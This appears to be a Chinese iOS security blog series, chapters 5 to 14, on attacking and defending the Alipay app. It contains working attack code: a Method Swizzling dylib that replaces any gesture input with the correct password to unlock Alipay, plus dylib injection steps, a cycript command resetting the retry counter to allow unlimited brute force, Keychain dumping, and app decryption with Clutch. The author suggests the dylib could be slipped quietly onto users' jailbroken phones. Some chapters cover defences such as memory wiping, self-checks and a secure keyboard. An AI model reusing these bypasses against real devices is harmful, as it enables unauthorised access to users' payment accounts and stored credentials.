Hack 实战——支付宝 App 手势密码校验欺骗

14 Hack 实战——支付宝 App 手势密码校验欺骗

iOS 安全攻防(十一):Hack实战——探究支付宝 app 手势密码中,介绍了如何利用 gdb 分析 app ,确定了支付宝 app 的手势密码格式为字符串,9 个点分别对应 123456789。在 iOS 安全攻防(十二):iOS7 的动态库注入中,介绍了如果利用越狱大神们为我们开辟的 iOS7 动态库注入方法。

本文将继续深入 hack 实战,hook 支付宝手势密码校验操作,欺骗其通过任意手势输入。

那么到现在为止,我们已经掌握了什么信息呢?

1)一个名叫 GestureUnlockViewController 的类,含有 gestureInputView:didFinishWithPassword: 方法,来处理输入的手势

2)正确的手势密码通过一个名叫 GestureUtil 的类读取,方法是 getPassword

思路马上清晰了,我们需要做 2 步:

1)hook getPassword 存下正确的密码

2)hook gestureInputView:didFinishWithPassword: 替换当前输入为正确的密码

一个关键点,我们是用 Method Swizzling 来 hook,那么就意味操作不能过早,因为我们要保证在取到 GestureUnlockViewController GestureUtil class 后,才能进行 imp 替换。

所以, 我采用 NSNotificationCenter 通知机制协助完成任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#import <objc/runtime.h>  
 #import <UIKit/UIKit.h>

IMP ori_getPasswd_IMP = NULL;
IMP ori_gesture_IMP = NULL;

@interface NSObject (HackPortal)

@end

@implementation NSObject (HackPortal)

+ (id)getPassword
{
    NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));
    return passwd;
}

- (void)gestureInputView:(id)view didFinishWithPassword:(id)password
{
    password = ori_getPasswd_IMP(self, @selector(getPassword));
    ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);
}

@end

@implementation PortalListener

- (id)init
{
    self = [super init];
    if (self) {
        [[NSNotificationCenter defaultCenter]addObserver:self
                                                selector:@selector(appLaunched:)
                                                    name:UIApplicationDidBecomeActiveNotification
                                                  object:nil];
    }
    return self;
}

- (void)appLaunched:(NSNotification *)notification
{
    Class class_GestureUtil = NSClassFromString(@"GestureUtil");
    Class class_PortalListener = NSClassFromString(@"PortalListener");
    Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));
    ori_getPasswd_IMP = method_getImplementation(ori_Method);
    Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));
    method_exchangeImplementations(ori_Method, my_Method);

    Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");
    Method ori_Method1 = class_getInstanceMethod(class_Gesture,
                                                 @selector(gestureInputView:didFinishWithPassword:));
    ori_gesture_IMP = method_getImplementation(ori_Method1);
    Method my_Method1 = class_getInstanceMethod(class_PortalListener,
                                                @selector(gestureInputView:didFinishWithPassword:));
    method_exchangeImplementations(ori_Method1, my_Method1);
}

-(void)dealloc
{
    [[NSNotificationCenter defaultCenter]removeObserver:self];
}

@end

static void __attribute__((constructor)) initialize(void)
{
    static PortalListener *entrance;
    entrance = [[PortalListener alloc]init];
}

OK!编译好动态库,塞进 iPhone 试试效果吧~

不管我们输入什么手势,都会被替换为正确的密码去给 gestureInputView:didFinishWithPassword: 验证,然后顺利解锁。

这意味着什么呢?

意味着,我们可以通过正规的渠道让用户下载这个动态库,然后悄悄放进越狱的 iPhone 的 /Library/MobileSubstrate/DynamicLibraries/ 目录下……然后……然后去给妹纸帅锅变魔术吧:“你看,我和你多心有灵犀,你改什么密码我都猜的到!”

数据擦除

13 数据擦除

对于敏感数据,我们不希望长时间放在内存中,而希望使用完后立即就被释放掉。

但是不管是 ARC 还是 MRC,自动释放池也有轮循工作周期,我们都无法控制内存数据被擦除的准确时间,让 hackers 们有机可乘。 本文介绍一个小技巧——及时数据擦除。

假如一个 View Controller A的一个数据被绑在一个 property 上,

1
2
3
4
@interface WipingMemoryViewController : UIViewController

@property (nonatomic,copy) NSString* text;
@end

当 A push 到另外一个 View Controller B 时,该数据还是有可能被读到的

1
2
WipingMemoryViewController *lastController = (WipingMemoryViewController *)self.navigationController.viewControllers[0];
NSLog(@"text = %@",lastController.text);

于是,“用后即擦”变得十分必要:

1
2
3
4
5
6
_text = [[NSString alloc]initWithFormat:@"information"];
NSLog(@"Origal string = %@",_text);
//do something...  
charchar *string = (charchar *)CFStringGetCStringPtr((CFStringRef)_text, CFStringGetSystemEncoding());
memset(string, 0, [_text length]);
NSLog(@"final text = %@",_text);

Log 输出如下:

WipingMemory[2518:70b] Origal string = information  
WipingMemory[2518:70b] final text =

可以看到,我们想要保护的数据,被有效的擦除了。

还有提个醒,如果是这样

_text = @"information";

创建的字符串,是会被分配到 data 区,而是无法修改的。

如果有兴趣也有闲心,可以试试运行下面的代码,有彩蛋哦:

1
2
3
4
_text = @"information";
memset((__bridge voidvoid *)(_text), 0, _text.length - 1);
NSString *myString = [[NSString alloc]initWithFormat:@"information"];
NSLog(@"Origal text : %@ \n",myString);

编译器把两个 information 的省略到一个地址了~

iOS7 的动态库注入

12 iOS7 的动态库注入

iOS 系统不断升级,结构不断调整,所以我们可以利用的动态库注入方法也根据系统版本的不同而不同。

在此之前,我们可以利用环境变量 DYLD_INSERT_LIBRARY 来添加动态库,iOS7 被成功越狱后,我们需要自己去探索实践 iOS7 动态库注入的方式。

本文将在 iOS7.0.4 环境下,以 hook 支付宝 app 程序中 ALPLauncherController 的视图加载方法为例,介绍在 iOS7 下,如何实现动态库注入攻击。

相关工具位置信息

先总结罗列一下相关编译、链接工具的位置路径信息,在各位自行下载的 iOS SDK中

clang :    /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang
gcc :    /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/arm-apple-darwin10-llvm-gcc-4.2
ld :   /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/ld
                /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld
sdk  :   /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7.0.sdk/

动态库源程序

我们编写一个 hook 支付宝 app 程序中 ALPLauncherController 的 viewDidLoad 方法,具体方法是利用 Method Swizzling 。

不熟悉 Method Swizzling 的话,可以参看我的这篇文章:Method Swizzling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#import <UIKit/UIKit.h>  
 #import <objc/runtime.h>

@implementation UIViewController (HookPortal)

-(void)myViewDidLoad
{
    NSLog(@"----------------------- myViewDidLoad ----------------------");
}

@end

static void __attribute__((constructor)) initialize(void)
{
    NSLog(@"======================= initialize ========================");

    Class class = objc_getClass("ALPLauncherController");
    Method ori_Method =  class_getInstanceMethod(class, @selector(viewDidLoad));
    Method my_Method = class_getInstanceMethod(class, @selector(myViewDidLoad));
    method_exchangeImplementations(ori_Method, my_Method);
}

编译 dylib

我们可以利用 xcode 直接帮忙编译 .o,或者自己手动使用 clang 编译,然后手动 ld :

ld -dylib -lsystem -lobjc  -syslibroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7.0.sdk/ -o libwq.dylib xxx.o

安置、验证 dylib

将编译好的 libwq.dylib 拷贝到 iPhone 文件系统中 /Library/MobileSubstrate/DynamicLibraries/

如果不放心库是否能正常工作,可以加一步验证操作,写一个 demo 尝试打开自己的库:

1
2
3
4
5
6
7
voidvoid *handle = (void*)dlopen("/Library/MobileSubstrate/DynamicLibraries/libwq.dylib", 0x2);
handle = dlsym(handle, "myViewDidLoad");
if (handle) {
    NSLog(@"++++");
}else{
    NSLog(@"----");
}

运行检验效果

到了验证效果的时候,重启设备后者执行: killall SpringBoard

启动支付宝 app,然后观察 log 信息:

Portal[3631] <Notice>: MS:Notice: Injecting: com.alipay.iphoneclient `[Portal] (847.21)`  
Portal[3631] <Notice>: MS:Notice: Loading: /Library/MobileSubstrate/DynamicLibraries/libwq.dylib  
Portal[3631] <Warning>: ======================= initialize ========================  
Portal[3631] <Warning>: ----------------------- myViewDidLoad ----------------------

证明我们的动态库已经被加载, 我们的 Hook 也成功了。 剩下的就要自己去思考了,除了加句无聊的 Log,我们还可以做点什么呢?

Hack实战——探究支付宝 App 手势密码

11 Hack 实战——探究支付宝 App 手势密码

在之前的 iOS安全攻防(七):Hack实战——解除支付宝app手势解锁错误次数限制中,留了一个问题,就是如何破解手势密码。

方法不唯一,本文介绍如何利用 gdb 分析破解 App 。

当没有程序源代码的情况下,我们如何利用 gdb 呢?

为了确定应该如何设置断点,不得不反汇编程序来作为参考了。

在前面的文章提到过,支付宝 app 的手势密码校验处理非常严谨,没有抛出 BOOL 判断的方法让我们可以直接修改返回值跳过验证,而是将全部操作封在了

1
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;

于是,我反汇编了支付宝 app ,找到手势密码解锁的相关代码片段:

图片 11.1 guesture-password

红色箭头标注的地方,让人欣喜,这将是我们断点位置的最好选择。

首先,查看一下相关程序段符号表:

nm Portal | grep -i gestureinputview

得到结果:

nm Portal | grep -i getpassword

得到结果:

图片 11.2 guesture-password2

确定了了关键函数的输出符号。

启动支付宝 app ,并 gdb 该进程: gdb -q -p 671

在上述两个函数位置设置断点:

图片 11.3 guesture-password3

可以通过 info breakpoints 查看断点:

图片 11.4 guesture-password4

continue 到 getPassword 位置,打印函数栈:

图片 11.5 guesture-password5

我们可以确定了 getPassword 的返回地址是 0x00becb36 , 对该地址加断点:

b * 0xbecb36

然后继续 continue ,程序将卡在上面的断点上。

从上面的反汇编代码,我们可以知道,用户输入的密码为存在 r8 上,原始密码为存在 r0 上,我们直接打印出这两个寄存器的值:

图片 11.6 guesture-password6

正确密码是个 “Z” 手势图画,而当前输入为 “一” 手势图画。 可以得出结论,支付宝 app 的手势密码和大多数 app 一样,手势密码格式是字符串,9 个点分别对应字符 123456789 。

二进制和资源文件自检

10 二进制和资源文件自检

我们把自己的程序发布到 app store,但是不能保证每一个用户都是从 app store 下载官方 app,也不能保证每一个用户都不越狱。 换句话说,我们无法保证程序运行环境在 MAC 管控策略下就绝对的安全。 所以,在有些情况下,尤其是和钱有关系的 app ,我们有必要在和服务器通信时,让服务器知道客户端到底是不是官方正版的 app 。

何以判断自己是不是正版 app 呢? hackers 们破解你的 app ,无非就 2 个地方可以动,1 个是二进制,1 个是资源文件。

二进制都重新编译过了自然肯定是盗版……

有些低级的 hackers 喜欢修改人家的资源文件然后贴上自己的广告,或者给用户错误的指引……修改资源文件是不需要重新编译二进制的。

因此,我们有必要在敏感的请求报文中,增加正版应用的二进制和资源文件的标识,让服务器知道,此请求是否来自正版的未经修改的 app 。 在沙盒中,我们可以读到自己程序的二进制,也可以读到资源文件签名文件,这两个文件都不算大,我们可以对其取 md5 值然后以某种组合算法得到一个标记字符串,然后发给服务器。

我封装了相关文件的读取地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@implementation WQPathUtilities

+ (NSString *)directory:(NSSearchPathDirectory)dir
{
    NSArray *paths = NSSearchPathForDirectoriesInDomains(dir, NSUserDomainMask, YES);
    NSString *dirStr = [paths objectAtIndex:0];
    return dirStr;
}

+ (NSString *)documentsDirectory
{
    return [WQPathUtilities directory:NSDocumentDirectory];
}

+ (NSString *)cachesDirectory
{
    return [WQPathUtilities directory:NSCachesDirectory];
}

+ (NSString *)tmpDirectory
{
    return NSTemporaryDirectory();
}

+ (NSString *)homeDirectory
{
    return NSHomeDirectory();
}

+ (NSString *)codeResourcesPath
{
    NSString *excutableName = [[NSBundle mainBundle] infoDictionary][@"CFBundleExecutable"];
    NSString *tmpPath = [[WQPathUtilities documentsDirectory] stringByDeletingLastPathComponent];
    NSString *appPath = [[tmpPath stringByAppendingPathComponent:excutableName]
                         stringByAppendingPathExtension:@"app"];
    NSString *sigPath = [[appPath stringByAppendingPathComponent:@"_CodeSignature"]
                         stringByAppendingPathComponent:@"CodeResources"];
    return sigPath;
}

+ (NSString *)binaryPath
{
    NSString *excutableName = [[NSBundle mainBundle] infoDictionary][@"CFBundleExecutable"];
    NSString *tmpPath = [[WQPathUtilities documentsDirectory] stringByDeletingLastPathComponent];
    NSString *appPath = [[tmpPath stringByAppendingPathComponent:excutableName]
                         stringByAppendingPathExtension:@"app"];
    NSString *binaryPath = [appPath stringByAppendingPathComponent:excutableName];
    return binaryPath;
}

@end

md5方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#import "CommonCrypto/CommonDigest.h"  

+(NSString *)md5WithString:(NSString *)string
{
    const charchar *cStr = [string UTF8String];
    unsigned char result[CC_MD5_DIGEST_LENGTH];
    CC_MD5(cStr, strlen(cStr), result);

    return [[NSString stringWithFormat:@"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
             result[0], result[1], result[2], result[3],
             result[4], result[5], result[6], result[7],
             result[8], result[9], result[10], result[11],
             result[12], result[13], result[14], result[15]
             ] lowercaseString];
}

这样做就 100% 安全了吗?
答案是:不……
所谓魔高一尺,道高一丈,不过也能阻止一些低级的 hack 手段了~

使用Keychain-Dumper 导出 Keychain 数据

9 使用 Keychain-Dumper 导出 keychain 数据

iOS 系统及第三方应用都会使用 Keychain 来作为数据持久化存储媒介,或者应用间数据共享的渠道。

所以 Keychain 数据库是 hacker 们最关注的数据源头之一。 不知道是算幸运还是不幸,导出 Keychain 数据库数据的工具早已非常完善,下载地址:Keychain-Dumper传送门

操作步骤极其简单:

1)赋予 Keychain 数据库可读权限

Primer:~ root# cd /private/var/Keychains/
 
Primer:/private/var/Keychains root# ls  
TrustStore.sqlite3  accountStatus.plist  caissuercache.sqlite3  keychain-2.db  keychain-2.db-shm  keychain-2.db-wal  ocspcache.sqlite3  ocspcache.sqlite3-shm  ocspcache.sqlite3-wal  
 
Primer:/private/var/Keychains root# chmod +r keychain-2.db

2)使用 Keychain-Dumper 导出 Keychain

Primer:/private/var/Keychains root# /your_path/keychain_dumper > keychain-export.txt

然后拷贝到本地查看,到底 iOS 系统和第三方应用都存放了哪些信息,就一览无余了。

键盘缓存与安全键盘

8 键盘缓存与安全键盘

大部分中文应用弹出的默认键盘是简体中文输入法键盘,在输入用户名和密码的时候,如果使用简体中文输入法键盘,输入英文字符和数字字符的用户名和密码时,会自动启动系统输入法自动更正提示,然后用户的输入记录会被缓存下来。

系统键盘缓存最方便拿到的就是利用系统输入法自动更正的字符串输入记录。 缓存文件的地址是:
/private/var/mobile/Library/Keyboard/dynamic-text.dat

导出该缓存文件,查看内容,欣喜的发现一切输入记录都是明文存储的。因为系统不会把所有的用户输入记录都当作密码等敏感信息来处理。 一般情况下,一个常规 iPhone 用户的 dynamic-text.dat 文件,高频率出现的字符串就是用户名和密码。

所以,一般银行客户端 app 输入密码时都不使用系统键盘,而使用自己定制的键盘,原因主要有 2 个:

1)避免第三方读取系统键盘缓存

2)防止屏幕录制 (自己定制的键盘按键不加按下效果)

那么,如何实现自定义安全键盘呢?大致思路如下:

1)首先捕获系统键盘的弹出、收回通知
2)创建一个更高级别的 window 挡住系统键盘
3)需要抛出一个 idtextInput 的弱引用切换焦点

下面给出一个简单的安全键盘模型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
@interface WQSafeKeyboard : UIWindow

@property (nonatomic, weak, setter = focusOnTextFiled:) UITextField *textFiled;
+ (WQSafeKeyboard *)deploySafeKeyboard;
@end


@interface WQSafeKeyboard()

@property (nonatomic, strong)WQInterKeyboard *keyboard;
@end

@implementation WQSafeKeyboard

+ (WQSafeKeyboard *)deploySafeKeyboard
{
    WQSafeKeyboard *kb = [[WQSafeKeyboard alloc]init];
    [kb addObserver];
    return kb;
}

- (instancetype)init
{
    if (self = [super init]) {
        self.windowLevel = UIWindowLevelAlert;
        self.frame = CGRectZero;
        self.rootViewController = self.keyboard;
    }
    return self;
}

- (void)dealloc
{
    [[NSNotificationCenter defaultCenter] removeObserver:self];
}

- (WQInterKeyboard *)keyboard
{
    if (!_keyboard) {
        _keyboard = [[WQInterKeyboard alloc]init];
    }
    return _keyboard;
}

- (void)focusOnTextFiled:(UITextField *)textFiled
{
    _textFiled = textFiled;
    self.keyboard.textField = _textFiled;
}

- (void)addObserver
{
    [[NSNotificationCenter defaultCenter]addObserver:self
                                            selector:@selector(keyboardWillShow:)
                                                name:UIKeyboardWillShowNotification
                                              object:nil];
    [[NSNotificationCenter defaultCenter]addObserver:self
                                            selector:@selector(keyboardWillHide:)
                                                name:UIKeyboardWillHideNotification
                                              object:nil];
}

- (void)keyboardWillShow:(NSNotification *)notification
{
    if (![self.textFiled isFirstResponder]) {
        return;
    }
    [self keyboardAnimationWithNotification:notification];
}

- (void)keyboardWillHide:(NSNotification *)notification
{
    if (![self.textFiled isFirstResponder]) {
        return;
    }
    [self keyboardAnimationWithNotification:notification];
}

- (void)keyboardAnimationWithNotification:(NSNotification *)notification
{
    [self makeKeyAndVisible];
    NSDictionary *userInfo = [notification userInfo];
    CGRect kbFrame_end,kbFrame_begin;
    NSTimeInterval animationDuration;
    UIViewAnimationCurve animationCurve;
    [userInfo[UIKeyboardFrameEndUserInfoKey] getValue:&kbFrame_end];
    [userInfo[UIKeyboardFrameBeginUserInfoKey] getValue:&kbFrame_begin];
    [userInfo[UIKeyboardAnimationCurveUserInfoKey] getValue:&animationCurve];
    [userInfo[UIKeyboardAnimationDurationUserInfoKey] getValue:&animationDuration];

    self.frame = [self resizeFrameToAdjust:kbFrame_begin];
    [UIView animateWithDuration:animationDuration
                          delay:0
                        options:(animationCurve<<16)
                     animations:^{
                         self.frame = [self resizeFrameToAdjust:kbFrame_end];
                     }completion:^(BOOL finished) {

                     }];
    if ([notification.name isEqualToString:UIKeyboardWillHideNotification]) {
        [self resignKeyWindow];
    }
}

- (CGRect)resizeFrameToAdjust:(CGRect)frame
{
    if ([[UIApplication sharedApplication] isStatusBarHidden] )
        return frame;

    if (SYSTEM_VERSION_LESS_THAN(@"7.0")) {
        frame = CGRectMake(frame.origin.x,
                           frame.origin.y - STATUSBAR_HEIGHT,
                           frame.size.width,
                           frame.size.height);
    }
    return frame;
}

@end

Hack 实战——解除支付宝手势解锁次数限制

7 Hack 实战——解除支付宝 App 手势解锁错误次数限制

之前仅仅介绍了工具的使用,本文将实践一下如何利用 cycript 结合 class-dump 结果 hack,还要牺牲一下支付宝 App 。

首先,老套路,取到手势解锁界面的 View Controller:

cy# var app = [UIApplication sharedApplication]  
@"<DFApplication: 0x1666c960>"  
cy# var keyWindow = app.keyWindow  
@"<UIWindow: 0x16591bd0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1b047000>; layer = <UIWindowLayer: 0x165d0650>>"  
cy# var root = keyWindow.rootViewController  
@"<UINavigationController: 0x179779a0>"  
cy# var visible = root.visibleViewController  
@"<GestureUnlockViewController: 0x165de090>"

然后,对照 class-dump-z 结果,来分析 GestureUnlockViewController 有什么利用价值 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@interface GestureUnlockViewController : DTViewController <UIAlertViewDelegate, GestureHeadImageViewDelegate> {
@private
    GestureHeadImageView* _headImageView;
    GestureTipLabel* _tipLabel;
    GestureInputView* _inputView;
    DTButton* _forgetButton;
    DTButton* _changeAccountButton;
    int _retryCount;
    UIView* _guideView;
    id<GestrueViewControllerDelegate> _delegate;
}
@property(assign, nonatomic) __weak id<GestrueViewControllerDelegate> delegate;
-(void).cxx_destruct;
-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation;
-(void)headClicked;
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;
-(void)gestureInputViewFirstEffectiveTouch:(id)touch;
-(void)alertView:(id)view clickedButtonAtIndex:(int)index;
-(void)actionChangeAccountToLogin;
-(void)actionResetPswBtnClick;
-(void)resetCurrentUser;
-(void)resetPsw;
-(void)viewWillDisappear:(BOOL)view;
-(void)notifyFaceToFacePayReceivedData:(id)facePayReceivedData;
-(void)viewWillAppear:(BOOL)view;
-(void)breakFirstRun;
-(BOOL)isFirstRun;
-(void)guideViewClicked:(id)clicked;
-(void)viewDidLoad;
-(void)viewWillLayoutSubviews;
@end

目测 _tipLabel 是写账户名和提示操作的 label ,上篇文章我提到过:@private 限制不了 keyPath ,现在我们来修改一下支付宝登录页的用户名信息:

cy# [visible setValue:@"Test By yiyaaixuexi" forKeyPath:@"_tipLabel.text"]

图片 7.1 hack-practice

支付宝手势密码解锁有尝试次数限制,连续错 5 次就要重新登录。 我想解除重试解锁次数的限制,发现了记录解锁次数的类型是 int ,int _retryCount ,这一点让我很不开心,因为我无法通过 KVC 来修改其值了。

但是没有关系,我可以通过指针访问:

cy# visible->_retryCount = 0  
0

这样我就能无限制的用程序暴力破解手势密码了,来计算一下有多少种可能呢?

图片 7.2 hack-practice2

这个数字对我来说有点大,可是对 iPhone5 的 CPU 来说就是小菜一碟了~

等一下,密码格式是什么呢?

1
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;

id 类型的密码,很严谨,又给 hack 带来不少麻烦呀~ 不过没关系,我们可以利用 Method Swizzling 来打出 password 到底是什么,不过呢,貌似可以再写一篇新文章去介绍了……

使用class-dump-z 分析支付宝

6 使用 class-dump-z 分析支付宝 App

为了了解支付宝 app 的源码结构,我们可以使用 class-dump-z 工具来分析支付宝二进制。

下载配置 class_dump_z

前往 https://code.google.com/p/networkpx/wiki/class_dump_z ,下载 tar 包,然后解压配置到本地环境

$ tar -zxvf class-dump-z_0.2a.tar.gz  
$ sudo cp mac_x86/class-dump-z /usr/bin/

class_dump 支付宝 App

$ class-dump-z Portal > Portal-dump.txt  
 
@protocol XXEncryptedProtocol_10764b0  
-(?)XXEncryptedMethod_d109df;  
-(?)XXEncryptedMethod_d109d3;  
-(?)XXEncryptedMethod_d109c7;  
-(?)XXEncryptedMethod_d109bf;  
-(?)XXEncryptedMethod_d109b8;  
-(?)XXEncryptedMethod_d109a4;  
-(?)XXEncryptedMethod_d10990;  
-(?)XXEncryptedMethod_d1097f;  
-(?)XXEncryptedMethod_d10970;  
-(?)XXEncryptedMethod_d10968;  
-(?)XXEncryptedMethod_d10941;  
-(?)XXEncryptedMethod_d10925;  
-(?)XXEncryptedMethod_d10914;  
-(?)XXEncryptedMethod_d1090f;  
-(?)XXEncryptedMethod_d1090a;  
-(?)XXEncryptedMethod_d10904;  
-(?)XXEncryptedMethod_d108f9;  
-(?)XXEncryptedMethod_d108f4;  
-(?)XXEncryptedMethod_d108eb;  
@optional  
-(?)XXEncryptedMethod_d109eb;  
@end

查看得到的信息是加过密的,这个加密操作是苹果在部署到 app store时做的,所以我们还需要做一步解密操作。

使用 Clutch 解密支付宝 App

下载 Clutch

iOS7 越狱后的 Cydia 源里已经下载不到 Clutch 了,但是我们可以从网上下载好推进 iPhone

地址:Clutch 传送门

查看可解密的应用列表

root# ./Clutch   
 
Clutch-1.3.2  
usage: ./Clutch [flags] [application name] [...]  
Applications available: 9P_RetinaWallpapers breadtrip Chiizu CodecademyiPhone FisheyeFree food GirlsCamera IMDb InstaDaily InstaTextFree iOne ItsMe3 linecamera Moldiv MPCamera MYXJ NewsBoard Photo Blur Photo Editor PhotoWonder POCO 相机 Portal QQPicShow smashbandits Spark tripcamera Tuding_vITC_01 wantu WaterMarkCamera WeiBo Weibo

解密支付宝 App

root# ./Clutch Portal  
 
Clutch-1.3.2  
Cracking Portal...  
Creating working directory...  
Performing initial analysis...  
Performing cracking preflight...  
dumping binary: analyzing load commands  
dumping binary: obtaining ptrace handle  
dumping binary: forking to begin tracing  
dumping binary: successfully forked  
dumping binary: obtaining mach port  
dumping binary: preparing code resign  
dumping binary: preparing to dump  
dumping binary: ASLR enabled, identifying dump location dynamically  
dumping binary: performing dump  
dumping binary: patched cryptid  
dumping binary: writing new checksum  
Censoring iTunesMetadata.plist...  
Packaging IPA file...  
 
compression level: 0  
    /var/root/Documents/Cracked/支付宝钱包-v8.0.0-(Clutch-1.3.2).ipa  
 
elapsed time: 7473ms  
 
Applications Cracked:   
Portal  
 
Applications that Failed:  
 
Total Success: 1 Total Failed: 0

导出已解密的支付宝 App

从上一步骤得知,已解密的 ipa 位置为:/var/root/Documents/Cracked/支付宝钱包-v8.0.0-(Clutch-1.3.2).ipa 将其拷贝到本地去分析

class_dump 已解密的支付宝 App

解压 .ipa 后,到支付宝钱包-v8.0.0-(Clutch-1.3.2)/Payload/Portal.app 目录下,class_dump 已解密的二进制文件 $ class-dump-z Portal > ~/Portal-classdump.txt

这回就可以得到对应的信息了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
@protocol ALPNumPwdInputViewDelegate <NSObject>
-(void)onPasswordDidChange:(id)onPassword;
@end

@protocol ALPContactBaseTableViewCellDelegate <NSObject>
-(void)shareClicked:(id)clicked sender:(id)sender;
@end

@interface MMPPayWayViewController : XXUnknownSuperclass <SubChannelSelectDelegate, UITableViewDataSource, UITableViewDelegate, CellDelegate, UIAlertViewDelegate> {
@private
    Item* channelSelected;
    BOOL _bCheck;
    BOOL _bOpenMiniPay;
    BOOL _bNeedPwd;
    BOOL _bSimplePwd;
    BOOL _bAutopayon;
    BOOL _bHasSub;
    BOOL _bFirstChannel;
    BOOL _bChangeSub;
    BOOL _bClickBack;
    UITableView* _channelListTableView;
    NSMutableArray* _channelListArray;
    NSMutableArray* _subChanneSelectedlList;
    NSMutableArray* _unCheckArray;
    UIButton* _saveButton;
    UILabel* _tipLabel;
    MMPPasswordSwichView* _payWaySwitch;
    MMPPopupAlertView* _alertView;
    UIView* _setView;
    int _originalSelectedRow;
    int _currentSelectedRow;
    NSString* _statusCode;
    ChannelListModel* _defaultChannelList;
}
@property(assign, nonatomic) BOOL bClickBack;
@property(retain, nonatomic) ChannelListModel* defaultChannelList;
@property(retain, nonatomic) NSString* statusCode;
@property(assign, nonatomic) int currentSelectedRow;
@property(assign, nonatomic) int originalSelectedRow;
@property(retain, nonatomic) UIView* setView;
@property(retain, nonatomic) MMPPopupAlertView* alertView;
@property(retain, nonatomic) MMPPasswordSwichView* payWaySwitch;
@property(assign, nonatomic, getter=isSubChannelChanged) BOOL bChangeSub;
@property(assign, nonatomic) BOOL bFirstChannel;
@property(assign, nonatomic) BOOL bHasSub;
@property(assign, nonatomic) BOOL bAutopayon;
@property(assign, nonatomic) BOOL bSimplePwd;
@property(assign, nonatomic) BOOL bNeedPwd;
@property(assign, nonatomic) BOOL bOpenMiniPay;
@property(assign, nonatomic) BOOL bCheck;
@property(retain, nonatomic) UILabel* tipLabel;
@property(retain, nonatomic) UIButton* saveButton;
@property(retain, nonatomic) NSMutableArray* unCheckArray;
@property(retain, nonatomic) NSMutableArray* subChanneSelectedlList;
@property(retain, nonatomic) NSMutableArray* channelListArray;
@property(retain, nonatomic) UITableView* channelListTableView;
-(void).cxx_destruct;
-(void)subChannelDidSelected:(id)subChannel;
-(void)switchCheckButtonClicked:(id)clicked;
-(void)checkboxButtonClicked:(id)clicked;
-(void)onCellClick:(id)click;
-(void)showSubChannels;
-(void)tableView:(id)view didSelectRowAtIndexPath:(id)indexPath;
-(id)tableView:(id)view cellForRowAtIndexPath:(id)indexPath;
-(int)tableView:(id)view numberOfRowsInSection:(int)section;
-(float)tableView:(id)view heightForRowAtIndexPath:(id)indexPath;
-(int)numberOfSectionsInTableView:(id)tableView;
-(void)setTableViewFootView:(id)view;
-(void)setTableViewHeaderView:(id)view;
-(id)tableView:(id)view viewForHeaderInSection:(int)section;
-(id)tableView:(id)view viewForFooterInSection:(int)section;
-(float)tableView:(id)view heightForHeaderInSection:(int)section;
-(float)tableView:(id)view heightForFooterInSection:(int)section;
-(void)alertView:(id)view clickedButtonAtIndex:(int)index;
-(void)clickSave;
-(void)netWorkRequestWithPwd:(id)pwd;
-(void)setPayWaySwitchStates:(id)states;
-(void)changePayWaySwitch:(id)aSwitch;
-(void)scrollToSelectedRow;
-(void)didReceiveMemoryWarning;
-(void)viewDidLoad;
-(void)applicationEnterBackground:(id)background;
-(void)dealloc;
-(void)goBack;
-(BOOL)isChannelsSetChanged;
-(id)subChannelCode:(int)code;
-(id)subChannelDesc:(int)desc;
-(id)initWithDefaultData:(id)defaultData;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
-(void)commonInit:(id)init;
@end

分析支付宝源码片段

使用了 @private 关键字限制成员访问权限

但是实际上,在 Objective-C 编程中,使用 @private 连 Keypath 访问都拦不住的

抛出了冗长的成员对象

这非常有利分析程序结构

进一步思考

1)如何利用 class-dump 结果,结合 cycript 进行攻击呢?

2)class-dump-z 如此强大,有什么方法可以减少暴露的信息吗?

接下来的博文将针对上面的思考,继续总结~

使用 Cycript 修改支付宝 App 运行时

5 使用 Cycript 修改支付宝 App 运行时

